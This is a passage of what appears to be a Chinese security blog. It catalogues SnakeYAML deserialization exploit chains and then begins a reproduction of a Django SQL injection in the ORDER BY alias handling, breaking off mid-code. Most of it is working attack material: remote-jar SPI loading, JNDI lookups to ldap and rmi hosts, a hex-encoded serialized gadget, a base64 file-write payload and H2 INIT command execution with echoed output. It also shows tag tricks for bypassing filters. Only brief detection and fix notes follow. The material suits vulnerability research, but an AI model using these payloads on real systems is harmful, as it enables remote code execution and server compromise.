            } catch (ClassNotFoundException x) {
                fail(service, "Provider " + cn + " not found");
            }
            
            try {
                // 创建实例
                S p = service.cast(c.newInstance());
                providers.put(cn, p);
                return p;
            } catch (Throwable x) {
                fail(service, "Provider " + cn + " could not be instantiated", x);
            }
        }
    }
}

那就构建：


    /src
       ./META-INF/services
                         javax.script.ScriptEngineFactory
                         内容：v2e.V2EScriptEngineFactory
       ./v2e
           V2EScriptEngineFactory.java
           内容：
package v2e;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class V2EScriptEngineFactory implements ScriptEngineFactory {

    public V2EScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

javac src/v2e/V2EScriptEngineFactory.java
jar -cvf yamlExp.jar -C src/ .

poc

String exp = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8989/yamlExp.jar\"]\n" +
                "  ]]\n" +
                "]";
Yaml yaml = new Yaml();
yaml.load(exp);

调试一下，前面从getSingleData -> constructDocument -> constructor.construct(node);就不演示了，走到construct方法，发现跟我们刚开始的expBean有些不同

这位是因为之前expBean的yaml格式是键值对结构，所以construct把其作为MappingNode 处理，而这里的spi payload是列表，所以作为SequenceNode 来处理，这这一处理不会像MappingNode那样先构造javaBean再调用setter来还原类而是直接调用对应的构造函数。

这里处理也很好理解，就是实现了通过构造器创建不可变对象的完整流程，分为两个阶段：

构造器筛选：根据参数数量筛选匹配的构造器

YAML序列有N个元素 → 寻找有N个参数的构造器将符合条件的构造器收集到possibleConstructors列表
最优构造器选择和对象创建：逐个构造参数

链子其实就是

URL[] urls = {new URL("http://evil.com/exploit.jar")};
URLClassLoader loader = new URLClassLoader(urls);
ScriptEngineManager manager = new ScriptEngineManager(loader);
// 这会触发SPI机制，加载远程的ScriptEngineFactory实现


initEngines:123, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:592, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:358, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:477, Yaml (org.yaml.snakeyaml)
load:406, Yaml (org.yaml.snakeyaml)
main:105, spiExp (org.example.snakeyaml)


ScriptEngineManager(loader) -> init(loader) -> initEngines(loader) -> ServiceLoader<ScriptEngineFactory>.iterator().next() -> 先实例化的NashornScriptEngineFactory，第二次实例化远程jar中的恶意类。

Apache XBean

<dependency>
  <groupId>org.apache.xbean</groupId>
  <artifactId>xbean-naming</artifactId>
  <version>4.20</version>
</dependency>

poc

String exp = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"void2eye\",!!javax.naming.Reference [\"foo\", \"EvilPayload\", \"http://127.0.0.1:8989/\"],!!org.apache.xbean.naming.context.WritableContext []]]";
Yaml yaml = new Yaml();
yaml.load(exp);

BadAttributeValueExpException老朋友了，其构造方法会调用toString

org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding本身没有toString方法但是继承自Binding

Binding的toString会调用getObject，而org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding#getObject()会调用

org.apache.xbean.naming.context.ContextUti#resolve

NamingManager.getObjectInstance，jndi高版本绕过这一块。这里既可出网打远程加载，也可本地打BeanFactory。具体在jndi高版本的文章我会细讲，这里先按下不表

Spring PropertyPathFactoryBean

有springframwork依赖基本都行

poc

String exp = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"ldap://127.0.0.1:7777/Exploit\", propertyPath: \"void2eye\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"ldap://127.0.0.1:7777/Exploit\"]}}";
Yaml yaml = new Yaml();
yaml.load(exp);

原理很简单，PropertyPathFactoryBean的setBeanFactory能触发任意getBean

而SimpleJndiBeanFactory的getBean会触发lookup进而可以打jndi

Apache Commons Configuration

<dependency>
    <groupId>commons-configuration</groupId>
    <artifactId>commons-configuration</artifactId>
    <version>1.10</version>
</dependency>

poc

String exp = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:7777/Exploit\"]]: 1";
Yaml yaml = new Yaml();
yaml.load(exp);

直接把JNDIConfiguration里面的所有lookup打上断点，然后直接开调！

getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:505, AbstractMap (java.util)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
processDuplicateKeys:125, SafeConstructor (org.yaml.snakeyaml.constructor)
flattenMapping:81, SafeConstructor (org.yaml.snakeyaml.constructor)
flattenMapping:76, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:212, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:557, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:600, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:477, Yaml (org.yaml.snakeyaml)
load:406, Yaml (org.yaml.snakeyaml)
main:11, CCExp (org.example.snakeyaml)

从调用栈就知道是ConfigurationMap处理key造成的，由于整个过程会对key进行多次处理，故也会多次调用lookup

Resource

<dependency>
    <groupId>org.eclipse.jetty</groupId>
    <artifactId>jetty-jndi</artifactId>
    <version>9.4.8.v20171121</version>
</dependency>
<dependency>
    <groupId>org.eclipse.jetty</groupId>
    <artifactId>jetty-plus</artifactId>
    <version>9.4.8.v20171121</version>
</dependency>
<dependency>
    <groupId>org.eclipse.jetty</groupId>
    <artifactId>jetty-util</artifactId>
    <version>9.4.8.v20171121</version>
</dependency>

poc

String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"EvilPayload\", \"http://localhost:8989/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);

简单说一下，在Resource的父类org.eclipse.jetty.plus.jndi.NamingEntry中

__是Jetty框架自定义的特殊JNDI上下文名称，用来存储所有的NamingEntry对象，再来看NamingEntr是save方法

Root Context
├── __ (Jetty上下文)
│   ├── v2e (Reference对象) ←── 第一个Resource绑定
│   └── v2e/test (普通对象) ←── 绑定第二个Resource触发lookup

所以就是尝试创建v2e/test时触发对v2e的查找这个时候触发jndi

C3P0 JndiRefForwardingDataSource

<dependency>
        <groupId>com.mchange</groupId>
        <artifactId>c3p0</artifactId>
        <version>0.9.5.2</version>
</dependency>

poc

String exp = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource  {jndiName: \"rmi://localhost/Exploit\",  loginTimeout: \"0\"}";
Yaml yaml = new Yaml();
yaml.load(exp);

C3p0不赖，老生常谈了。

setLoginTimeout -> inner() -> dereference() -> lookup()

C3P0不出网

poc

java -jar ysoserial.jar CommonsCollections2 "calc" > calc.ser
    
public class HexEncode {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

//exp
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

String exp = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001b0000000171007e0020737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000000787878;\"}";
Yaml yaml = new Yaml();
yaml.load(exp);

原理也很简单，在WrapperConnectionPoolDataSource这个类的父类WrapperConnectionPoolDataSourceBase里面的setUserOverridesAsString，一直会走到将Hex值反序列化

deserializeFromByteArray:143, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:72, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:314, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:207, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:358, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:477, Yaml (org.yaml.snakeyaml)
load:406, Yaml (org.yaml.snakeyaml)
main:13, C3P0NotNetExp (org.example.snakeyaml)

MarshalOutputStream不出网（fj1.2.68写文件）

{
  "@type": "java.lang.AutoCloseable",
  "@type": "sun.rmi.server.MarshalOutputStream",
  "out": {
    "@type": "java.util.zip.InflaterOutputStream",
    "out": {
      "@type": "java.io.FileOutputStream",
      "file": "dst",
      "append": "false"
    },
    "infl": {
      "input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
    },
    "bufLen": 1048576
  },
  "protocolVersion": 1
}

跟fj一样都是调用setter，所以这里的poc直接拿来用

poc

String exp = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater  { input: !!binary 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 },1048576]]";
Yaml yaml = new Yaml();
yaml.load(exp);

网上抄的脚本

package com.zlg.serialize.snakeyaml;

import org.yaml.snakeyaml.Yaml;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;


public class SnakeYamlOffInternet {
    public static void main(String [] args) throws Exception {
        String poc = createPoC("本的的恶意文件","想写进去的路径");
        Yaml yaml = new Yaml();
        yaml.load(poc);

    }


    public static String createPoC(String SrcPath,String Destpath) throws Exception {
        File file = new File(SrcPath);
        Long FileLength = file.length();
        byte[] FileContent = new byte[FileLength.intValue()];
        try{
            FileInputStream in = new FileInputStream(file);
            in.read(FileContent);
            in.close();
        }
        catch (FileNotFoundException e){
            e.printStackTrace();
        }
        byte[] compressbytes = compress(FileContent);
        String base64str = Base64.getEncoder().encodeToString(compressbytes);
        String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater  { input: !!binary "+base64str+" },1048576]]";
        System.out.println(poc);
        return poc;
    }

    public static byte[] compress(byte[] data) {
        byte[] output = new byte[0];

        Deflater compresser = new Deflater();

        compresser.reset();
        compresser.setInput(data);
        compresser.finish();
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
        try {
            byte[] buf = new byte[1024];
            while (!compresser.finished()) {
                int i = compresser.deflate(buf);
                bos.write(buf, 0, i);
            }
            output = bos.toByteArray();
        } catch (Exception e) {
            output = data;
            e.printStackTrace();
        } finally {
            try {
                bos.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        compresser.end();
        return output;
    }
}

配合打SPI

String exp = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"file:./yaml-payload.jar\"]\n" +  // win用file:来替代file://
                "  ]]\n" +
                "]";
Yaml yaml = new Yaml();
yaml.load(exp);

h2不出网

经典利用

String exp = "!!org.h2.jdbc.JdbcConnection [ \"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\\\"calc.exe\\\")\\\\; }$$\\\\;CALL EXEC ()\\\\;\", {}, \"a\", \"b\", false ]";
String exp2 ="!!org.h2.jdbc.JdbcConnection\n" +
                "- jdbc:h2:mem:test\n" +
                "- MODE: MSSQLServer\n" +
                "  INIT: |\n" +
                "    drop alias if exists exec;\n" +
                "    CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec(\"calc.exe\");}$$;\n" +
                "    CALL EXEC ();\n" +
                "- a\n" +
                "- b\n" +
                "- false";
Yaml yaml = new Yaml();
yaml.load(exp);

exp用两个转义符是为了转义分号以达到init执行多个sql语句。

至于其原理，参考p神的文章https://www.leavesongs.com/PENETRATION/jdbc-injection-with-hertzbeat-cve-2024-42323.html

鉴于fj的h2利用链

[
    {
        "@type": "java.lang.Class",
        "val": "org.h2.jdbcx.JdbcDataSource"
    },
    {
        "@type": "org.h2.jdbcx.JdbcDataSource",
        "url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"
    },
    {
        "$ref": "$[1].connection"
    }
]

简单说一下，就是实例化org.h2.jdbcx.JdbcDataSource之后调用setUrl然后通过$ref[1]调用实例化的JdbcDataSource的getConnection方法

而我们注意到实际上getConnection就是调用了org.h2.jdbc.JdbcConnection的构造方法，这也是为什么poc长那样。

其签名：

jdbc 完整url
参数列表，对应到YAML里面就是一个字典
账号
密码
这个参数决定在目标服务器上，是否会当只有一个已经存在的h2数据库文件进行连接才能执行后续JDBC注入操作，fasle的话内存数据库jdbc:h2:mem无法使用。所以我们这里设置为true

h2不出网无回显

需要有springframework依赖

poc

!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServer
  INIT: |
    DROP ALIAS IF EXISTS EXEC;
    CREATE ALIAS EXEC AS $$void exec() throws Exception {org.springframework.util.StreamUtils.copy(java.lang.Runtime.getRuntime().exec("whoami.exe").getInputStream(),((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes()).getResponse().getOutputStream());}$$;
    CALL EXEC ();
- a
- b
- false

这里先附上一张spring关于线程绑定上下文的原理图

H2的ALIAS代码在同一个HTTP请求线程中执行，所以可以用StreamUtils.copy将命令执行结果从子进程复制到返回包，可以这么理解：

// 1. 执行命令，获取子进程
Process process = Runtime.getRuntime().exec("whoami.exe");

// 2. 获取命令输出流（相对于Java是输入流）
InputStream cmdOutput = process.getInputStream();

// 3. 获取Spring请求上下文（接口类型）
RequestAttributes attrs = RequestContextHolder.currentRequestAttributes();

// 4. 强转为Servlet实现，调用getResponse()
HttpServletResponse response = ((ServletRequestAttributes) attrs).getResponse();

// 5. 获取HTTP响应输出流
OutputStream httpOutput = response.getOutputStream();

// 6. 将命令结果复制到HTTP响应
StreamUtils.copy(cmdOutput, httpOutput);

ClassPathXmlApplicationContext

出网利用

!!org.springframework.context.support.ClassPathXmlApplicationContext [ "http://ip/evil.xml" ]

<!-- evil.xml -->
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
       
    <!-- 获取Runtime实例 -->
    <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime"/>
    
    <!-- 执行命令 -->
    <bean id="exec" factory-bean="runtime" factory-method="exec">
        <constructor-arg value="calc.exe"/>
    </bean>
</beans>

更复杂的可以去用javaChain生成，这里就不演示了。

不出网方法一

利用前面提到的MershalOutputStream写文件在用file协议去读，这里就不赘述了。

不出网方法二

bypass技巧

回到snakeYAML解析节点树的知识点，结合浅蓝师傅的文章：https://b1ue.cn/archives/407.html

若是ban掉!!有两种绕过方法

// 1
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> 
[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> 
["http://ip/yaml-payload.jar"]]]]

// 2 利用%TAG来申明一个TAG, 后续再调用!str的话就会自动把TAG前缀拼接补全
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://ip/yaml-payload.jar"]]]]

探测与修复

spi

参考Y4tacker师傅的文章，

原理是snakeYAML解析带键值对的集合的时候会对键调用hashCode方法，进而触发dns解析。

String payload = "{!!java.net.URL [\"dnslog\"]: 1}";

String poc = "key: [!!java.lang.String {}: 0, !!java.net.URL [null, \"[dnslog](dnslog)\"]: 1]";

key: [!!java.lang.String {}: 0, !!java.net.URL [null, "dnslog"]: 1]

修复

升级到snakeYAML2
手动调用SafeConstructor()

yaml = new Yaml(new SafeConstructor());

yaml.load(exp)

参考

https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html

https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML

https://h3rmesk1t.github.io/2023/09/25/SnakeYaml/#%E6%A3%80%E6%B5%8B

CVE-2026-1312 Django 漏洞复现

void2eye — Tue, 24 Mar 2026 00:00:00 GMT

环境搭建

该漏洞是在6.0.2修复的，所以用6.0.1版本的Django

先uv起个环境

uv init "CVE-2026-1312 Django"
cd CVE-2026-1312 Django
uv python install 3.11
uv add "django==6.0.1"
uv run django-admin startproject vuln_site .
uv run python manage.py startapp vuln_app

在vuln_site/settings.py里加上vuln_app

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'vuln_app'
]

model.py

from django.db import models

# Create your models here.
class Authors(models.Model):
    name = models.CharField(max_length=100)
    
    class Meta:
       app_label = 'vuln_app'

    def __str__(self):
        return self.name
    
class Books(models.Model):
    title = models.CharField(max_length=200)
    author = models.ForeignKey(Authors, on_delete=models.CASCADE)
    
    class Meta:
       app_label = 'vuln_app'

    def __str__(self):
        return self.title

运行：

uv run python manage.py makemigrations vuln_app
uv run python manage.py migrate

漏洞原理

先看commit

两处补丁：

结合描述，可知增加对FilteredRelation中是否含.进行了判断，以及修复了如果order by后的字段名有.则回直接拼接到原始sql中的设计漏洞。

在debug之前，需要几个前置知识

django的联表查询

前提：有一个简单的数据库，确保其中一个字段为外键(如下：author_id)

在django的ORM中，想要进行一个常规的联表的 JOIN 查询：”查出所有书名和作者“，比如

SELECT vuln_app_book.title, vuln_app_author.name 
FROM vuln_app_book 
INNER JOIN vuln_app_author aaa ON vuln_app_book.author_id = aaa.id order by aaa.id
# 设置vuln_app_author别名为aaa

那么有两种写法：

# 1
Book.objects.annotate(
    aaa=F('author')
).order_by('aaa')

# 2
Book.objects.annotate(
    aaa=FilteredRelation('author')
    # aaa=FilteredRelation('author', condition=Q(author__name='Alice'))
).order_by('aaa')

而F()和FilteredRelation()区别就在于后者能够加多个条件，能一次在语句中关联多张表，前者不能。

django sql语句order by优化

正常一个order by语句：

select aaa bbb from ccc order by bbb

有一个等价写法：

select aaa bbb from ccc order by 2

而在F()语句中：

Book.objects.annotate(aaa=F('author')).order_by('aaa')

Django 在编译 SQL 时会发现：aaa 只是 author 的一个别名，而 author 已经在 select列表里了。于是 Django 做了一个优化：不在 order by里写字段名，而是直接写这个字段在 select列表里的位置编号。

select id, title as aaa, author_id from vuln_app_book order by author ASC

变成

select id, title as aaa, author_id from vuln_app_book order by 2 ASC

为什么要做这个优化？因为 order by 2 比 order by "aaa" 更高效，数据库不需要再去解析字段名。

而FilteredRelation()则不会进行这个优化，因为设计的操作更加复杂。而这也是为什么漏洞补丁在这个函数上。

让order by字段只出现一次

因为有关键字被ban

FORBIDDEN_ALIAS_PATTERN = _lazy_re_compile(r"['`\"\]\[;\s]|#|--|/\*|\*/")

只有. , ()可以用

而上面的语句可以看到别名出现了很多次，直接硬注回报错，有没有什么办法把aaa只出现在order by呢？还真有：

这就回到上面第二个补丁，对compiler.py的修复。

if "." in field:
    # This came in through an extra(order_by=...) addition. Pass it
    # on verbatim.
    table, col = col.split(".", 1)
    yield OrderBy(
        RawSQL("%s.%s" % (self.quote_name_unless_alias(table), col), []),
        descending=descending,
    )
    continue

这段代码的本意是处理 extra(order_by=...) 传入的原始 SQL 字段名（比如 "my_table"."my_col"）。Django 的判断逻辑是：如果字段名里有句号，就认为它是 extra() 传来的原始表名.列名，直接拼到 SQL

手动构造 aaa.evil

而且因为走了这个 if "." in field 分支，就 continue 跳过了后面的代码。后面的代码是分析字段名、建立别名引用计数的。跳过了这段，意味着别名 aaa.hi 的引用计数为 0。

而Django 会检查每个别名的引用计数，计数为 0 就不生成 JOIN：

crafted_alias = 'vuln_app_books.id'
    malicious_dict = {crafted_alias: FilteredRelation('author')}
    try:
        qs = Books.objects.annotate(**malicious_dict).order_by(crafted_alias)
        results = list(qs.values_list('title', flat=True))
        print(f"    结果: {results}")
